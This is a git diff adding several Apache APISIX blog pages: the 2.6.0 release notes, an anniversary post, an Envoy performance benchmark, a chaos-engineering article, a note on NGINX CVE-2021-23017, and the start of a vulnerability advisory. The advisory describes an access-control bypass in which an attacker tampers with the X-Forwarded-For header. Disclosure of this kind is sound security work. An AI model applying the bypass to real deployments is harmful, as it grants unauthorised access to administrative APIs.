+<p>Anti-replay and anti-tampering: OTeam implements anti-replay and anti-tampering plugins, allowing external businesses that need these capabilities to use them directly out of the box to protect their APIs security.</p>
+</li>
+</ul>
+<p>We hope that these examples can help you explore more Apache APISIX usage scenarios and better use it as a helpful platform. For example, someone used the gateway to implement some API specifications mandatory according to Tencent Cloud policies.</p>
+<h2 id="summary">Summary</h2>
+<p>OTeam helped the business team solve their pain points and continuously improved the features of Apache APISIX within Tencent, and move forward with the development of the community.</p>
+<p>If your team does not have a gateway, you can search and learn more about Apache APISIX and are welcome to participate in the Apache APISIX community.</p>
+<p>For more videos about Apache APISIX, please visit <a href="https://www.bilibili.com/video/BV1yK4y1G7CP/">https://www.bilibili.com/video/BV1yK4y1G7CP/</a> .</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a [...]
\ No newline at end of file
diff --git a/blog/2021/05/25/apache-apisix-2.6.0-release/index.html b/blog/2021/05/25/apache-apisix-2.6.0-release/index.html
new file mode 100644
index 00000000000..62ea51131c8
--- /dev/null
+++ b/blog/2021/05/25/apache-apisix-2.6.0-release/index.html
@@ -0,0 +1,38 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX Release 2.6.0 | Apache APISIX</title><meta name="description" content="Cloud native API gateway Apache APISIX 2.6.0-Release is officially released! Support more new functions, welcome to download and use."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/05/25/apache-apisix-2.6.0-rele [...]
+<p>Apache APISIX 2.6.0-Release is officially released! Welcome to download and use.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="release-notes">Release Notes</h2>
+<h3 id="new-feature-apisix-now-supports-writing-custom-plugins-in-other-languages">New feature: APISIX now supports writing custom plugins in other languages</h3>
+<p>APISIX now supports writing plug-ins in Lua to perform custom logic during proxy requests, such as calling webhook to notify external systems, performing special authentication logic, and so on. However, there are cases where developers may want to write plugins in languages other than Lua.</p>
+<p>For example, developers are not familiar with Lua and want to write plugins in a language they are familiar with, or third-party teams only provide the Java SDK and there is no way to use it inside Lua plugins.</p>
+<p>Starting from version 2.6, APISIX supports running plugins written in languages other than Lua with the help of plugin runner. The architecture diagram is as follows.</p>
+<p><img src="https://static.apiseven.com/202108/1639462480260-86431748-7dcd-4643-816b-92104ec5a666.png" alt="2021-05-25-1"></p>
+<p>APISIX will run the plugin runner as a sidecar.</p>
+<p>They communicate with each other using RPC, with APISIX sending the request data and configuration and plugin runner loading the user’s custom plugin, processing that data and telling APISIX what to do with the requests. Currently, it supports executing logic written in non-Lua languages before the proxy request goes upstream. Later on there will be support for rewriting responses in non-Lua languages.</p>
+<p>APISIX now places two entry points for the plugin runner to send RPCs: ext-plugin-pre-req, which runs before the Lua plugin logic is executed, and ext-plugin-post-req, which runs after the Lua plugin is executed and before the proxy request goes upstream. Both entries can be dynamically switched on and off at the route level.</p>
+<p>Assuming we have ext-plugin-pre-req enabled for some requests, and the plugin runner has the validator and rewrite plugins loaded, then for each matching request, it will trigger an RPC call to the plugin runner, first executing the Based on the result, APISIX can determine whether to continue executing the request or reject it. If the request continues, it will run the Lua plugins built into APISIX, such as the flow and speed limiting plugins. If ext-plugin-post-req is enabled, the o [...]
+<p>The plugin runner for Java and Go is already in development. The Java version of the plugin runner is expected to be available within this week, and the Go version of the plugin runner will be completed in June.</p>
+<h3 id="security-enhancement-change-the-prometheus-default-port-to-no-longer-expose-the-port-to-the-data-plane">Security enhancement: change the Prometheus default port to no longer expose the port to the data plane</h3>
+<p>Previously, by default, Prometheus data would be exposed to the port on the data plane, and although you could restrict IP access by configuring the plugin interceptor, there was still the problem of insecurity by default. So starting with 2.6, a new port is dedicated to exposing metrics and by default only listens to 127.0.0.1 .</p>
+<p>Prior to 2.6, Prometheus collected APISIX metrics on the data side of the port (default port 9080).</p>
+<p>The new port is port 9091 and only listens to 127.0.0.1. You need to change the listening address to your server’s intranet address and add a firewall rule to ensure that only Prometheus can access it.</p>
+<h3 id="support-ecological-full-support-for-nacos-service-discovery">Support: Ecological full support for Nacos service discovery</h3>
+<p>APISIX adds support for the Nacos service discovery feature.</p>
+<p>Users only need to enable the Nacos service discovery function and set the service name in the upstream configuration, and APISIX will periodically get the instance address of the corresponding service in Nacos based on the service name in the background. In this way, there is no need to configure the specific upstream node address inside APISIX, only inside Nacos.
+Currently, the following external services are supported by APISIX built-in service discovery function.</p>
+<ol>
+<li>DNS</li>
+<li>Consul KV mode</li>
+<li>Eureka</li>
+<li>Nacos</li>
+</ol>
+<h3 id="support-configuring-dns-resolver-for-ipv6">Support: Configuring DNS resolver for IPv6</h3>
+<p>Previously, when configuring DNS resolver for APISIX, only IPv4 servers could be configured. Since version 2.6, we have added support for IPv6 DNS servers.</p>
+<p>Now when configuring DNS resolver, you can write IPv6 server address.</p>
+<h2 id="download">Download</h2>
+<p>To download the Apache APISIX 2.6.0-Release source code and binary installation package, please visit the download page: <code>https://apisix.apache.org/downloads/</code>.</p>
+<h2 id="documentation-update">Documentation Update</h2>
+<p>During this release, we are also continuously updating and releasing new documentation for use, and welcome your valuable comments.</p>
+<p><code>https://apisix.apache.org/docs/apisix/getting-started/</code></p>
+<p>For more details, see the Changelog for version 2.6 and the Apache APISIX commits on GitHub.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li>< [...]
\ No newline at end of file
diff --git a/blog/2021/06/06/apisix-two-years/index.html b/blog/2021/06/06/apisix-two-years/index.html
new file mode 100644
index 00000000000..10ad885b125
--- /dev/null
+++ b/blog/2021/06/06/apisix-two-years/index.html
@@ -0,0 +1,17 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX Open Source 2 Year Anniversary! | Apache APISIX</title><meta name="description" content="API gateway Apache APISIX has been open source for two years, during which time health checks, service interruption, service discovery, etc. have been implemented."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apa [...]
+<p>Apache APISIX is open for 2 years!</p>
+</blockquote>
+<!--truncate-->
+<p>Today is June 6, 2021, and on this 666th day <a href="https://github.com/apache/apisix">Apache APISIX</a> is 2 years old! 🎉</p>
+<p>Apache APISIX was open sourced on June 6, 2019, and entered the Apache Incubator in October of the same year, and has become an <strong>Apache top project</strong> in just two years!</p>
+<p>Before entering the Apache Incubator, Apache APISIX had just over 20 contributors, and now there are 249 contributors to projects related to Apache APISIX, a 10-fold increase in <strong>contributors</strong> in a year and a half! The Apache APISIX community is also very active, with <strong>249 contributors submitting 2303 PRs as of today, and a new release every month</strong>.</p>
+<p><img src="https://static.apiseven.com/202108/1630116210945-cdf0888f-c823-4eae-b404-3b1d6cb1b1e6.png" alt="2019.6.6 ~ 2021.6.6 contributor growth curve"></p>
+<p>In life, when you go to buy airline tickets, swipe Weibo, or buy milk tea, the critical traffic behind it is handled by Apache APISIX. In the past two years, Apache APISIX has been widely used by many enterprises, covering finance, Internet, manufacturing, retail, operators, etc., such as NASA in the US, Digital Factory in the EU, China Airlines, Tencent, Huawei, Weibo, Shell House, China Mobile, Taikang, 360, Nespresso Tea, etc. Click to view <a href="https://github.com/apache/apisix [...]
+<p><strong>In August 2019, Apache APISIX released its first version 0.6.0</strong>. This release brought many new features: health checks, service fusion, debug mode, distributed tracing, JWT authentication, etc., and a built-in dashboard.</p>
+<p>Version <strong>1.0 was released in January 2020 and was the first production release of Apache APISIX.</strong> This version not only supports new features - matching to different upstream services based on header, args, priority, etc. with the same URI - but also improves code stability and documentation, such as adding documentation for custom development plugins, documentation for using the Oauth plugin, documentation for documentation for dashboard compilation, documentation on h [...]
+<p><strong>A new release every month, and we mean it!</strong> In October 2020, we released version 2.0. 2.0 migrates from etcd v2 protocol to v3, supports only etcd 3.4 and later, supports adding tags to upstream objects, adds more fields to upstream, routing and other resources, uses interceptors to protect the plugin’s routes, supports http and https listening on multiple ports, adds AK/SK (HMAC) authentication plugin, referer-restriction plugin.</p>
+<p><strong>16 days ago, we released APISIX version 2.6!</strong> In this version, new features that have been highly requested are supported, such as: <strong>Writing custom plugins in other languages, custom plugins in Java are now supported, and custom plugins in Go will be supported at the end of this month!</strong> In addition, version 2.6 of ecology has full support for Nacos service discovery, support for configuring DNS resolver for IPv6, and support for modifying the Prometheus [...]
+<p>Apache APISIX aims to be more than just an API gateway, <strong>Apache APISIX wants to be a Layer 4 and 7 traffic handler and connector in the cloud-native era.</strong> All configurations in Apache APISIX are dynamic, which is important for elastic scaling and multi-cloud deployments in the cloud-native era. We believe that Apache APISIX is the best choice for the cloud-native era. Welcome to the Apache APISIX open source community, and welcome to Apache APISIX!</p>
+<p>The development of Apache APISIX cannot be achieved without each and every one of the community members, <strong>Special thanks to the contributors and users of the Apache APISIX community for their contributions to the development of Apache APISIX.</strong>!</p>
+<p><img src="https://static.apiseven.com/202108/1630468565074-c7e83b82-c40d-4c56-bc66-d1be2acc645b.jpeg" alt="apisix contributors"></p>
+<p>Apache APISIX is 2 years old now, happy birthday!</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/s [...]
\ No newline at end of file
diff --git a/blog/2021/06/07/apache-apisix-not-affected-by-nginx-cve-2021-23017/index.html b/blog/2021/06/07/apache-apisix-not-affected-by-nginx-cve-2021-23017/index.html
new file mode 100644
index 00000000000..0b965f999c3
--- /dev/null
+++ b/blog/2021/06/07/apache-apisix-not-affected-by-nginx-cve-2021-23017/index.html
@@ -0,0 +1,24 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX not affected by NGINX CVE-2021-23017 | Apache APISIX</title><meta name="description" content="Cloud-native API gateway Apache APISIX is not affected by the NGINX (CVE-2021-23017) vulnerability."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/06/07/apache-apisix-not-affected-by-nginx [...]
+<p>On May 26, NGINX issued a security announcement that fixed a DNS resolver vulnerability (CVE -2021-23017) in the NGINX resolver.</p>
+</blockquote>
+<!--truncate-->
+<p><code>ngx_resolver_copy()</code> handles DNS responses with errors. When the “resolver” instruction is used in the NGINX configuration file, it might allow an attacker who is able to forge UDP packets from the DNS server to cause 1-byte memory overwrite, resulting in worker process crash or other potential impacts.</p>
+<p>Vulnerability level: high risk, CVSS score 8.1</p>
+<p>Affected versions: NGINX 0.6.18 - 1.20.0</p>
+<p>If you want to know more details, you can visit the following link: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-23017">https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-23017</a></p>
+<p>Two days before this security vulnerability was disclosed, on May 24, <a href="https://mp.weixin.qq.com/s?__biz=MzI1MDU3NjQ5OA==&mid=2247485444&idx=1&sn=5b0bab964490dc2d7a7b25262d9396b2&chksm=e9816319def6ea0fbdafa69426718184e042d6d1cde1d20e410e6ee414756960273f9d625bd2&scene=21#wechat_redirect">Apache APISIX released version 2.6</a>. This version contains many excellent features, such as support for using Java to write plugins. Apache APISIX 2.6 is not affected [...]
+<p>Apache APISIX only uses some features of NGINX, other core functions, such as:</p>
+<ul>
+<li>Route matching</li>
+<li>IP matching</li>
+<li>DNS resolve</li>
+<li>Dynamic Upstream</li>
+<li>Dynamic Certificate</li>
+</ul>
+<p>are all implemented by Apache APISIX instead of the built-in mechanism of NGINX, so it will not be affected by this security vulnerability.</p>
+<h2 id="apache-apisix">Apache APISIX</h2>
+<p>Apache APISIX is a dynamic, real-time, high-performance API gateway that provides rich traffic management features such as load balancing, dynamic upstream, canary release, service meltdown , authentication , observability and so on.</p>
+<p>You can use Apache APISIX to handle traditional north-south traffic, as well as east-west traffic between services.</p>
+<p>In the cloud-native era, dynamic and observability are standard features of API gateway.</p>
+<p>This architecture of Apache APISIX can not only meet the elastic scaling and rapid release under the cloud-native architecture, but also be more efficient, flexible and secure. It also cooperates with SkyWalking deeply in observability, improving service management capability greatly.</p>
+<p>Welcome to follow and use Apache APISIX: <a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/secur [...]
\ No newline at end of file
diff --git a/blog/2021/06/10/apache-apisix-and-envoy-performance-comparison/index.html b/blog/2021/06/10/apache-apisix-and-envoy-performance-comparison/index.html
new file mode 100644
index 00000000000..3ff14fe9e73
--- /dev/null
+++ b/blog/2021/06/10/apache-apisix-and-envoy-performance-comparison/index.html
@@ -0,0 +1,138 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX vs Envoy: Performance Benchmark Comparison | Apache APISIX</title><meta name="description" content="Benchmark comparison of APISIX vs Envoy on response latency and QPS, showing APISIX advantages with multiple worker processes."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/06/10/apache-ap [...]
+<p>This article introduces the performance comparison between Apache APISIX and Envoy under certain conditions. In general, APISIX is slightly better than Envoy in terms of response latency and QPS, and APISIX has more advantages than Enovy when multiple worker processes are enabled due to the collaborative approach of NGINX in high concurrency scenarios. The performance and latency of APISIX makes it a massive throughput capability in handling north-south traffic.</p>
+</blockquote>
+<!--truncate-->
+<p>I learned about Envoy at the CNCF technology sharing session and did performance tests on Apache APISIX and Envoy after the session.</p>
+<p>At a technical sharing session organized by CNCF, I heard about Envoy for the first time, and the guest speaker talked a lot about it, but all I can recall is a particularly novel concept “communication bus”. This is how the official website describes it.</p>
+<p>“Envoy is an L7 proxy and communication bus designed for large modern SOA (Service Oriented Architecture) architectures”</p>
+<p>In other words, Envoy is to solve the Server Mesh field and the birth of L7 proxy software. I found a diagram online. My understanding of Envoy is probably the following deployment architecture (please correct me if I am wrong).</p>
+<p>Since it is a proxy software for L7, as an experienced user in the OpenResty community for many years, naturally I can’t help but use it to engage in comparison.</p>
+<p>The object we chose to test is Apache APISIX, which is an API gateway based on OpenResty implementation. (In fact, it is also an L7 proxy and then added routing, authentication, flow restriction, dynamic upstream, and other features)</p>
+<p>Why did I choose it? Because once I heard about the great routing implementation of this product during a community share. Since our business routing system is in a mess, I downloaded the source code of Apache APISIX and found that it is an awesome API gateway, beating all similar products I’ve seen, so I was impressed by it!</p>
+<p>Here is a diagram from the Apache APISIX official website, a diagram explains things better than words, you can see how Apache APISIX works.</p>
+<p><img src="https://static.apiseven.com/202108/20210617002.png" alt="APISIX architechture"></p>
+<p>Let’s get started, first we go to the official website to find the most versions of two products: Apache APISIX 1.5 and Envoy 1.14 (the latest version at the time of writing this article).</p>
+<h2 id="build-environment-preparation">Build Environment Preparation</h2>
+<ul>
+<li>Stress test client: wrk.</li>
+<li>Testing main metrics including: gateway latency, QPS and whether it scales linearly.</li>
+<li>Test environment: Microsoft Cloud Linux (ubuntu 18.04), Standard D13 v2 (8 vcpus, 56 GiB memory).</li>
+<li>Test method 1: single-core run for side-by-side comparison (since they are both based on epoll IO model, single-core crush test is used to verify their processing power).</li>
+<li>Test method 2: using multicore to run a side-by-side comparison, mainly to verify whether their overall processing power can grow linearly under the scenario of adding more (processes|threads).</li>
+</ul>
+<h2 id="test-scenarios">Test Scenarios</h2>
+<p>We built an upstream server with NGINX, configured it with 2 workers, and received a request to directly answer 4k content, with the following reference configuration:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>server {</span></span>
+<span class="line"><span> listen 1980;</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> access_log off;</span></span>
+<span class="line"><span> location = /hello {</span></span>
+<span class="line"><span> echo_duplicate 400 "1234567890";</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<ul>
+<li>The network architecture schematic is as follows: (green normal load, not run full. Red is a high pressure load, to run the process resources full, mainly CPU)
+是 CPU)</li>
+</ul>
+<p><img src="https://static.apiseven.com/202108/20210617003.png" alt="test result"></p>
+<h2 id="route-configuration">Route Configuration</h2>
+<p>First we find the Apache APISIX Getting Started configuration guide and we add a route to /hello with the following configuration:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>curl http://127.0.0.1:9080/apisix/admin/routes/1 -X PUT -d '{、</span></span>
+<span class="line"><span> "uri": "/hello",</span></span>
+<span class="line"><span> "upstream": {</span></span>
+<span class="line"><span> "type": "roundrobin",</span></span>
+<span class="line"><span> "nodes": {</span></span>
+<span class="line"><span> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span> }}'</span></span></code></pre>
+<p>Note that the proxy_cache and proxy_mirror plugins are not started here, as Envoy does not have similar functionality.</p>
+<p>Then we add a route to Envoy by referring to the official Envoy pressure test guide:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>static_resources:</span></span>
+<span class="line"><span> listeners:</span></span>
+<span class="line"><span> - name: listener_0</span></span>
+<span class="line"><span> address:</span></span>
+<span class="line"><span> socket_address: { address: "0.0.0.0", port_value: 10000 }</span></span>
+<span class="line"><span></span></span>
+<span class="line"><span> filter_chains:</span></span>
+<span class="line"><span> - filters:</span></span>
+<span class="line"><span> - name: envoy.http_connection_manager</span></span>
+<span class="line"><span> config:</span></span>
+<span class="line"><span> generate_request_id: false,</span></span>
+<span class="line"><span> stat_prefix: ingress_http</span></span>
+<span class="line"><span> route_config:</span></span>
+<span class="line"><span> name: local_route</span></span>
+<span class="line"><span> virtual_hosts:</span></span>
+<span class="line"><span> - name: local_service</span></span>
+<span class="line"><span> domains: ["*"]</span></span>
+<span class="line"><span> routes:</span></span>
+<span class="line"><span> - match: { prefix: "/hello" }</span></span>
+<span class="line"><span> route: { cluster: service_test }</span></span>
+<span class="line"><span> http_filters:</span></span>
+<span class="line"><span> - name: envoy.router</span></span>
+<span class="line"><span> config:</span></span>
+<span class="line"><span> dynamic_stats: false</span></span>
+<span class="line"><span> clusters:</span></span>
+<span class="line"><span> - name: service_test</span></span>
+<span class="line"><span> connect_timeout: 0.25s</span></span>
+<span class="line"><span> type: LOGICAL_DNS</span></span>
+<span class="line"><span> dns_lookup_family: V4_ONLY</span></span>
+<span class="line"><span> lb_policy: ROUND_ROBIN</span></span>
+<span class="line"><span> hosts: [{ socket_address: { address: "127.0.0.1", port_value: 1980 }}]</span></span>
+<span class="line"><span> circuit_breakers:</span></span>
+<span class="line"><span> thresholds:</span></span>
+<span class="line"><span> - priority: DEFAULT</span></span>
+<span class="line"><span> max_connections: 1000000000</span></span>
+<span class="line"><span> max_pending_requests: 1000000000</span></span>
+<span class="line"><span> max_requests: 1000000000</span></span>
+<span class="line"><span> max_retries: 1000000000</span></span>
+<span class="line"><span> - priority: HIGH</span></span>
+<span class="line"><span> max_connections: 1000000000</span></span>
+<span class="line"><span> max_pending_requests: 1000000000</span></span>
+<span class="line"><span> max_requests: 1000000000</span></span>
+<span class="line"><span> max_retries: 1000000000</span></span></code></pre>
+<p>The <code>generate_request_id</code>, <code>dynamic_stats</code> and <code>circuit_breakers</code> sections above are turned on by default inside Envoy, but they are not used in this compression test and need to be turned off explicitly or set to oversize thresholds to improve performance (Can someone explain to me why this is so complicated to configure…).</p>
+<h2 id="results">Results</h2>
+<p>Single route without any plugins turned on. Turn on different CPU counts for full load stress test.</p>
+<p>Note: For NGINX called worker number, Envoy is concurrent, in order to unify the number of workers called after.</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th align="left"><strong>Workers</strong></th><th align="left"><strong>APISIX QPS</strong></th><th align="left"><strong>APISIX Latency</strong></th><th align="left"><strong>Envoy QPS</strong></th><th align="left"><strong>Envoy Latency</strong></th></tr></thead><tbody><tr><td align="left"><strong>1 worker</strong></td><td align="left">18608.4</td><td align="left">0.96</td><td align="left">15625.56</td><td align="left">1.02</td></tr><tr><td align="left"><strong>2 workers< [...]
+<p>Note: The raw data is publicly available at <a href="https://gist.github.com/aifeiasdf/9fc4585f6404e3a0a70c568c2a14b9c9">gist</a> preview.</p>
+<p><img src="https://static.apiseven.com/202108/20210617004.png" alt="test result"></p>
+<p>QPS: The number of requests completed per second, the higher the number the better, the higher the value means the more requests can be completed per unit time. From the QPS results, Apache APISIX performance is about 120% of Envoy’s, and the higher the number of cores, the bigger the QPS difference.</p>
+<p>Latency: Latency per request, the smaller the value the better. It represents how long it takes to receive an answer per request from the time it is sent. For reverse proxy scenarios, the smaller the value, the smaller the impact on the request will be. From the results, Envoy’s per-request latency is 6–10% more than Apache APISIX, and the higher the number of cores the higher the latency.</p>
+<p>We can see that the difference between the two metrics in the single-worker thread|process mode, QPS and Latency is not large, but with the increase in the number of threads|processes their gap is gradually enlarged, here I analyze that there may be two reasons, NGINX in the high concurrency scenario with multiple workers and the system IO model for interaction is not more advantageous, on the other hand, also On the other hand, NGINX itself may be more “stingy” in terms of memory and [...]
+<h2 id="conclusion">Conclusion</h2>
+<p>In general, Apache APISIX is slightly better than Envoy in terms of response latency and QPS, and due to NGINX’s multi-worker collaboration method, which is more advantageous in high concurrency scenarios, Apache APISIX’s performance improvement is more obvious than Envoy’s after opening multiple worker processes. The bus design of Envoy gives it a unique advantage in handling east-west traffic, while the performance and latency of Apache APISIX gives it a massive throughput capabilit [...]
+Apache APISIX</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><l [...]
\ No newline at end of file
diff --git a/blog/2021/06/16/chaos-mesh-helps-apache-apisix-improve-stability/index.html b/blog/2021/06/16/chaos-mesh-helps-apache-apisix-improve-stability/index.html
new file mode 100644
index 00000000000..c9987129350
--- /dev/null
+++ b/blog/2021/06/16/chaos-mesh-helps-apache-apisix-improve-stability/index.html
@@ -0,0 +1,37 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Chaos Mesh Helps Apache APISIX Improve Stability | Apache APISIX</title><meta name="description" content="This article introduces how to use Chaos Mesh to test the related processes and scenarios of API gateway Apache APISIX to improve the stability of APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.or [...]
+<p>This article describes how to use Chaos Mesh in a variety of scenarios to improve stability for Apache APISIX.</p>
+</blockquote>
+<!--truncate-->
+<p>Apache APISIX is a top-level project under the Apache Foundation and has been tested in production environments with tens of billions of requests per day. As the community has grown, Apache APISIX has become more and more powerful, requiring more and more interactions with external components, and the uncertainty that comes with it has grown exponentially. We have received some feedback from users in the community, and here are two examples.</p>
+<h2 id="scenario-1">Scenario 1</h2>
+<p>In the Apache APISIX configuration center, when there is unexpectedly high network latency between etcd and Apache APISIX, can Apache APISIX still operate normally for traffic filtering and forwarding?</p>
+<h2 id="scenario-2">Scenario 2</h2>
+<p>User feedback in an issue reports errors interacting with the Apache APISIX admin API when a node in the etcd cluster fails while the cluster is still operational.</p>
+<p>While Apache APISIX covers most scenarios in CI with unit / e2e / fuzz testing, it does not yet cover interactions with external components. Can Apache APISIX give appropriate error messages when network fluctuations, hard disk failures, or unpredictable abnormal behavior such as process kill occurs, and can it maintain or restore itself to a normal state of operation? In order to test the coverage of the scenarios proposed by users and to proactively identify similar issues before pu [...]
+<p>Chaos engineering is a method of experimenting on the system infrastructure to proactively identify vulnerabilities in the system, thus ensuring that the system is resilient to runaway environments in production. Chaos engineering was first proposed by Netflix to simulate and thus counteract the instability of early cloud services. As the technology has evolved, chaos engineering platforms now offer a wider variety of faults to inject and rely on Kubernetes to more easily control the [...]
+<h2 id="how-to-apply-chaos-engineering-on-apisix">How to Apply Chaos Engineering on APISIX</h2>
+<p>Chaos Engineering has evolved into a complete methodology beyond the mere injection of faults. According to the recommendations of Principle of Chaos Engineering, deploying chaos engineering experiments requires five steps.</p>
+<ol>
+<li>define the steady state, i.e., find a quantifiable metric that proves proper operation.</li>
+<li>make a hypothesis that the metric always remains in steady state in both the experimental and control groups.</li>
+<li>design the experiment to introduce possible failures in operation.</li>
+<li>test the hypothesis, i.e., falsify the hypothesis by comparing the results of the experimental and control groups.</li>
+<li>fix the problem.</li>
+</ol>
+<p>The next two user feedback scenarios are used as examples to introduce the process of applying chaos engineering to Apache APISIX according to these five steps.</p>
+<h3 id="scenario-1-1">Scenario 1</h3>
+<p><img src="https://static.apiseven.com/202108/1639462804552-8d51872f-3419-4e64-b365-4ef7cbb2a388.png" alt="2021-06-16-1"></p>
+<p>Describe this scenario in a diagram. Against the five steps above, you first need to find quantifiable metrics that measure the proper functioning of Apache APISIX. The primary method of testing is to use Grafana to monitor Apache APISIX performance metrics. Once measurable metrics are found, the data can be extracted separately from Prometheus in the CI for comparison. Another point is that the logs need to be analyzed. Another point is the need to analyze logs, which for Apache APIS [...]
+<p>In the control group, before Chaos was introduced, we tested that set/get route was successful, etcd was connectable, and recorded the RPS at that time. There is no significant change in RPS compared to before. The experiment is as expected.</p>
+<h3 id="scenario-2-1">Scenario 2</h3>
+<p><img src="https://static.apiseven.com/202108/1639462935848-b87400d3-e59b-4e6d-84f9-25c2771d48d3.png" alt="2021-06-16-2"></p>
+<p>Introducing pod-kill chaos after performing the same control group experiment reproduces the expected error. In the case of randomly deleting a few etcd nodes in the cluster, etcd connectivity exhibited sporadic behavior, and the logs printed a large number of connection denied errors. More interestingly, the setup route returned normally when deleting the first or third node in the etcd endpoint list, and only when deleting the second node in the etcd endpoint list did the setup rout [...]
+<p>The reason for this is that the etcd lua API used by Apache APISIX does not select endpoints randomly, but sequentially, so the operation performed by the new etcd client is equivalent to binding to only one etcd endpoint, resulting in a persistent failure. After fixing this issue, a health check was added to the etcd lua API to ensure that it does not duplicate a lot on a disconnected etcd, and a fallback check was added for when an etcd cluster is completely disconnected to avoid bl [...]
+<h2 id="future-plans">Future plans</h2>
+<h3 id="1-chaos-testing-with-e2e-simulation-scenarios">1. Chaos testing with e2e simulation scenarios</h3>
+<p>Currently in Apache APISIX, it still relies heavily on people to identify possible vulnerabilities in the system for testing fixes. For the open source community, unlike the previously mentioned Netflix application of chaos engineering in the enterprise, while testing in CI without worrying about the impact of the failure radius of chaos engineering on the production environment, it also does not cover the complex and comprehensive scenarios in the production environment.</p>
+<p>In order to cover more scenarios, the future community plans to simulate more complete scenarios using the existing e2e tests for a larger and more randomized chaos testing.</p>
+<h3 id="2-adding-chaos-testing-to-more-apache-apisix-projects">2. Adding Chaos Testing to More Apache APISIX Projects</h3>
+<p>In addition to finding more possible vulnerabilities for Apache APISIX, the community plans to add chaos testing to more projects such as Apache APISIX Dashboard and Apache APISIX Ingress Controller.</p>
+<h3 id="3-adding-features-to-chaos-mesh">3. Adding Features to Chaos Mesh</h3>
+<p>When deploying Chaos Mesh, we have encountered some features that are not supported at the moment, including the target of network latency does not support the selection of service, network chaos can not specify the container port injection, etc. The Apache APISIX community will also help Chaos Mesh to add related features in the future. We hope that the open source community will get better and better.</p> </article> </div> </main> <footer class="site-footer"> <div class="container" [...]
\ No newline at end of file
diff --git a/blog/2021/06/17/apache-apisix-dashboard-access-control-bypass-vulnerability-announcement/index.html b/blog/2021/06/17/apache-apisix-dashboard-access-control-bypass-vulnerability-announcement/index.html
new file mode 100644
index 00000000000..8bcd2943f82
--- /dev/null
+++ b/blog/2021/06/17/apache-apisix-dashboard-access-control-bypass-vulnerability-announcement/index.html
@@ -0,0 +1,27 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>CVE-2021-33190: APISIX Dashboard Access Bypass | Apache APISIX</title><meta name="description" content="Security advisory for CVE-2021-33190 — APISIX Dashboard access control bypass via X-Forwarded-For header tampering. Upgrade immediately."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/06/17/ap [...]
+<p>Because the application makes access control determinations by obtaining the value of the request header <code>X-Forwarded-For</code>, an attacker can achieve an access control bypass attack by simply tampering with that request header when invoking the API request.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="problem-description">Problem Description</h2>
+<p>In Apache APISIX Dashboard 2.6, there are two configuration entries.</p>
+<ol>
+<li>
+<p>the <code>conf.listen.host</code> configuration item, which specifies which IP address ManagerAPI listens to at startup, and which defaults to <code>0.0.0.0</code> (listens to external network requests by default).</p>
+</li>
+<li>
